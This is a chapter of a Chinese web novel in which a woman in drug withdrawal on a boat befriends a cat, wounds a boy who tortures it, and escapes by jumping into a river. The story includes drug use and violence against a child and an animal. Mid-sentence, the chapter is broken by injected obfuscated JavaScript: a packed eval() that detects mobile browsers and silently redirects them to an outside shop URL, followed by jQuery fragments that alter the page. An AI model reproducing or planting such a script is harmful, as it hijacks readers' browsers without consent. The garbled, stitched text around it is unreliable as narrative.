58. 跳船

作品:《伪装成白月光后她篡位了

    门缝中隐隐透过廊道的烛光,在房内投出一条极窄的亮线,照见裴厌通红的双眼。


    裴厌想把门关上,小猫捉到了老鼠,应该留给它自己。


    那黄白的小猫却用头顶住缓缓合上的门,耳朵钻进了门缝,嘴里哼唧着什么。


    裴厌怕夹到它,便把门拉开一些,小猫不退反进,叼着那只死老鼠就从小小的缝隙里踮着脚走进了房间。


    裴厌听见小家伙温和的猫叫,感觉心中的恐惧淡下来了几分。


    小猫一进屋就挑好了位置,轻盈地跳上窗台,缩在角落里坐得端正,死老鼠在它的脚边。


    裴厌没有力气理它,见它看起来实在乖巧,便当它不存在,自己缩在床头,压抑着心底躁动不安的酸痒。


    一人一猫坐在房间的两个角落,猫在观察人,人却像睡着了,一动不动。


    裴厌颤抖得厉害,她支撑不住身体直直地倒在地上,她像昨夜一样缩着身体,痛苦地用头顶着床脚。


    她感受到热意在眼眶里盘旋,目眦欲裂的痛觉逼得她眼泪止不住地流。


    她躲在角落里,唇齿间漏出几句破碎的呻吟,她听见黑暗中有一声猫叫,充满试探,好似在回应裴厌的几声喊叫。


    她听见地板传来的轻轻的踩踏声,紧随而来的是手背上传来毛茸茸的触感。


    那只小猫在蹭她的手,裴厌的手抖得厉害,小猫却还是一下又一下坚持地“抚摸”着她不安的心。


    它一直叫着,声音却不大,也不尖利。


    裴厌睁开眼睛,眼前是那只小猫圆滚滚的双眼,它的眼睛是江水的青绿色,懵懂但清澈。


    裴厌能感受到它的气息,轻轻柔柔的。


    她鬼使神差般伸手,颤抖着摸了摸小猫的头。


    小猫喵一声,舔了舔她的手指。


    “你、你快走吧,我可能会、会打你的……我控制不住我自己。”裴厌用散碎的气音说道。


    她犯病最厉害的时候,会对自己动刀,她根本不知道自己不清醒的时候会做什么。


    上次在山里,她险些杀了常十三的画面还历历在目。


    但是她又期盼着小猫不要走,不要留下她一个人,或许她突然死掉了,并不会被人发现。琅照早在开年时就被烧死在牢里了,活下来的裴厌不过是一个根本不存在的人。


    裴厌忽然捏紧了虚握着的手,手边的小猫被吓到了,头往旁边一闪,但又很快靠回来。


    它的整个脑袋都搭在裴厌的手上,好似帮她压制着血液下的暗流汹涌。它缺角的耳朵时不时抽动一下,无意间维持着裴厌心中保持清醒的弦。


    裴厌一晚上都没有入眠,情绪在她心中翻江倒海,一会儿是仇恨,一会儿是不舍,最后是无力。


    这是离开了逍遥散的样子,任何微小的情绪都会被无限放大,她亦不能幸免。


    天亮时分,最猛烈的一波终于过去。


    裴厌浑身虚脱,像从水里捞出来一样,连抬手的力气都没有,但那种蚀骨的渴求,暂时退去了。


    小猫安静地趴在地上,粉色的鼻头在冷白的光下更惹人怜爱。


    裴厌动了动已经麻木的手掌,小猫转醒了。


    小猫起身,轻盈地跳上门栓,用爪子扒拉了几下,熟练地打开门,溜了出去。


    它此时走得干脆,但是它陪了裴厌一夜,它明明随时都可以走,却还是选择了留下来。


    裴厌也起身,开始期待这个沉默而又温柔的来客。


    ……


    日子如脚下的江水一般自然而然地淌过,距离她上船已经过去了二十余日,她听旁人说,还有三日就可抵达寂州了。


    她在船上大部分时间都是孤身一人,唯一的小猫朋友神龙见首不见尾,总是隔两日才来找她。


    裴厌会给它端上一盘鱼块,在一旁静静等它吃完,猫会在夜里送上门一只死老鼠,再静静地陪着裴厌度过最难耐的夜晚。


    裴厌毒发的情况没有像想象中一样越来越浅,反而越来越重,她开始出现幻觉,昨晚甚至完全失去了意识,早晨起来对昨日所行所为一点记忆也没有。


    只是早上起来的时候,小猫不在身边,门栓被打开,敞开了一条小缝。


    她很害怕自己做了不好的事,一上午她都在找那只黄白的小猫,她从不会刻意去找它,以至于如今难以找到它。


    裴厌穿梭在廊道里,急匆匆的脚步在地板上留下很轻的声响。


    终于,她在他们初次相遇的地方看见了小猫,它仍然在角落呆立着。


    裴厌心中一喜,上前去张开手,以为它会和往常一眼喵喵叫着向她过来。


    然而小猫的爪子悬在半空微微发颤,瞳孔的形状变得尖锐,十分警醒地盯着裴厌的动作。


    好像裴厌一上前,就会挨上一爪。


    她明白了,她昨晚一定攻击了它,它此时才会如此防范。


    它的爪子很长也很尖,可裴厌确定她身上没有抓痕,它昨晚没有对裴厌动手,只是单方面的防范和逃离。


    裴厌的心被刺痛了,她站起身后退几步,小猫从杂物的缝隙里离开了。


    动作还像从前一样轻巧,好在它没有受伤。


    裴厌失魂落魄地走进了船上的食舱,食舱里的饭菜从来不变,鱼腥味和油气在食舱里聚聚散散。


    她要了两份鱼,一份放在杂货角落,一份放在桌上,她一口口咬着嘴里的嫩白的鱼肉,却吃不出任何味道。


    她好像想不起起来从前爱吃的甜食是怎样的可口了,唯一记住的味道是逍遥散的腥甜。


    裴厌看着杂货堆的方向,黄白小猫果然又出现了,它慢慢凑到碗前,嗅了嗅,便张开嘴狼吞虎咽起来。


    裴厌放下筷子,像往日一样安静地看着它吃。


    不知为何,它突然停下,好似察觉到裴厌的目光一般,眼神直直地投向裴厌。


    而后身体朝着裴厌,吃完了剩下的鱼。


    裴厌得到了些许的安慰,回到了自己的房间。


    这一回,她将自己的手捆在床脚,等待着那股空虚感夺走她的神智。


    没想到先一步来的,是那只黄白小猫,它依旧礼貌地敲门,然后轻轻地呼唤。


    裴厌好像能隔着门看见它的耳朵微微垂着,轻轻将头抵到门上的画面。


    但她不会开门了。


    她以为外面轻轻的撞门声不会持续很久,她低估了小猫的执着。


    它撞一会儿门就停下来,贴着门缝喵喵叫,声音没了以往的轻快软糯,这次有些绵长幽怨。


    “你走吧,我不要死老鼠。”裴厌咬着牙回答道,尽量让语气变得不可违逆。


    敲门声停了,猫叫也停了,只剩疾风刮过船体的声音。


    不知过了多久,裴厌身上那种酸痒又出现了,她被捆在床脚的手不自觉地往外扯,布条在她的手腕上勒出一条红印。


    她把自己蜷缩起来,额头抵着膝盖,死死咬着下唇,尝到了血腥味。


    外面响起一阵脚步声,还有两人的交谈声。


    那些声音传到裴厌的脑海里只剩下变了形的声调,如同厉鬼哭号。


    两个人逐渐近了,依稀可辨是两个小孩的声音,船上的小孩不多,她对面就住着一家带着两个小孩的门户,两个男孩一胖一瘦,都在十岁出头的年纪,他们衣着不凡,对面是有钱人家。


    裴厌努力思考着她白日在船上观察的细节,这些无关紧要的东西能将她的清醒给拉住,她一定要清醒着,不能发疯。


    她仔细听着小孩的声音,努力辨认他们的话,却依旧徒劳。


    “有只猫,还有死


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206332|197355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老鼠!”这句话是外面的小孩喊出来的,所以裴厌出乎意料地听清了。


    她有种不好的预感,眼皮不安分地跳动。


    “它怎么不把老鼠吃了?”


    接着外面发出一声响动,好像是一个软绵的东西砸到了地上。


    她还听到一声尖锐的猫叫。


    裴厌顿时清醒了不少,是小孩子拿着死掉的老鼠砸那只小猫。


    外面的孩子还在笑闹,“你快看,快看,这笨猫还怕死老鼠呢,你过去抓住它,把它给烛龙吃掉。”


    烛龙应该是他们家养的一条白蛇,裴厌常能看见他们把一条中等大小的白蛇关在笼子里带到甲板上吹风。当时还引起很多船客的不满,他们一家则解释说他们养的蛇从不食肉。


    裴厌一急之下直接往门边冲,自己的手还被绑在床脚。


    她用颤抖无比的手去解手上的结,却越忙越乱,手上的结眼看变成了死结。


    她突然听到身旁的墙上发出剧烈的撞击声,夹杂着惨烈的猫叫。


    他们把小猫砸在了墙上。


    毒瘾有了可乘之机,卷着裴厌心里的不安与愤怒,汇聚成暴躁的涡流。


    她蛮力扯开了被捆在床上的那柄长剑,一剑将手上的布条割断。


    脱困后拿着剑就往门边冲去。


    一开门就看见两个男孩围着墙边已经摔得磕掉一颗牙、嘴角带着狰狞血迹的小猫。


    小猫的脖子上缠绕着一条白蛇,白蛇冲着小猫粉色的鼻尖吐着蛇信,小猫脊背上的毛害怕地竖起。


    男孩在旁边喊:“绞死它!绞死它!烛龙!”


    裴厌上前踹了两脚,那两个孩子不设防,被裴厌踹出好远,重重地撞在墙上。


    裴厌此时双目猩红,手腕上带着方才割掉束缚时误划的血痕,血线直接蔓延到了一柄长剑的剑身。


    白蛇还死死缠在小猫的脖子上。


    裴厌用剑一刀斩断了那条白蛇,小猫挣脱束缚,虚脱地躺在墙边。


    两个小孩看着蛇一分两半的身体,眼里蓄满了泪,放声大喊,希望有人来救他们。


    裴厌拿着剑走到那两人身边,眼神狠戾。


    他们往后爬,裴厌沉默着往前追,一剑扎进那个胖些的男孩的小腿。


    那个瘦些的男孩哭喊着:“小公子!”


    旁男孩腿上的血顿时染红了他的衣角。


    剑上满是鲜血,血腥味让她想起逍遥散,她想要更多血。


    裴厌控制不住地嘴角上扬,她将剑拔出来高举着想去扎他的另一条腿。


    此时对面的房门被打开,男孩的父母走出来,看到眼前的景象都吓傻了,只知道大叫。


    裴厌终于在这轮番的尖叫里回过神来。


    船上她留不得了,她当机立断,在身后的夫妻俩注意力还在他们儿子身上时,抱起脚边奄奄一息的小猫,回到房里拿出地图信件,武器和值钱的银簪。


    从窗户里可以看出,这里河道窄,离两岸不是很远,如果她还能再清醒一段时间,是可以上岸的。


    小猫可以放在装饼的箱子里带走,它留在这定会被那两人折磨死。


    她将箱子里剩余的饼倒出来,一个黄纸包着的东西掉了出来。


    裴厌打开,里面却是逍遥散。


    门外已经有人在砸,讨公道之类的话语在外面响个不停。


    裴厌将逍遥散直接倒进了嘴里,因为双手抖得厉害,药粉撒了大半,她只敢倒一点,太多了反而不能清醒。


    逍遥散腥甜的味道在她嘴里炸开,身上的酸痒迅速退下,她将剩余的粉末叠好放在箱子里。


    裴厌将剑背在身上,匕首随身收着,信件和银簪丢进饼箱里,又垫了几件衣服,把小猫放进去。


    她蛮力破开窗,抱着箱子跳进江水。